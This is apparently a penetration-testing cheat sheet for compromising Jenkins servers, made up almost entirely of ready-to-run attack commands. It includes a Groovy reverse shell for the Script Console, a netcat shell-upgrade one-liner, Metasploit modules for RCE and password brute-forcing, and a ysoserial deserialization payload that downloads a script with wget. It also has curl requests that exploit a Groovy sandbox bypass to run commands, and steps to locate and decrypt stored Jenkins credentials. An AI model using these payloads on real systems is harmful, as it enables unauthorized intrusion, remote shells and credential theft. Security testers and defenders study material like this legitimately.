Best Practices for securing CI/CD Pipelines
Playing with Jenkins RCE Vulnerability by 0xdf
Secure Jenkins CI/CD by Crowdstrike
Story of a Hundred Vulnerable Jenkins Plugins
Exploiting Jenkins Groovy Script Console in Multiple Ways
Implement DevSecOps to Secure your CI/CD pipeline
In the left sidebar, navigate to "Manage Jenkins" > "Script Console", or just go to $rhost:8080/script
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
I'll leave this reverse shell tip to have a fully working PTY here in case anyone needs it , so dont do just nc -nlvp port instead do this :
stty raw -echo; (echo 'script -qc "/bin/bash" /dev/null';echo pty;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=xterm-256color;echo alias ll='ls -lsaht'; echo clear; echo id;cat) | nc -lvnp port && reset
println(hudson.util.Secret.decrypt("{...}"))
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
**You can use MSF to get a reverse shell :
msf> use exploit/multi/http/jenkins_script_console
**Jekins does not implement any password policy or username brute-force mitigation. Then, you should always try to brute-force users because probably weak passwords are being used (even usernames as passwords or reverse usernames as passwords).
msf> use auxiliary/scanner/http/jenkins_login
=====================
Use ysoserial to generate a payload. Then RCE using this script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.
Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Execute arbitraty bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.
Note that this is only exploitable if using a dedicated and out-of-date Update Center. Therefore most servers are not vulnerable.
Use this python script or this powershell script.
These files are needed to decrypt Jenkins secrets:
- secrets/master.key
- secrets/hudson.util.Secret
Such secrets can usually be found in:
- credentials.xml
- jobs/.../build.xml
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
Use this script to decrypt previsously dumped secrets.
Usage:
jenkins_offline_decrypt.py <jenkins_base_path>
or:
jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
jenkins_offline_decrypt.py -i <path> (interactive mode)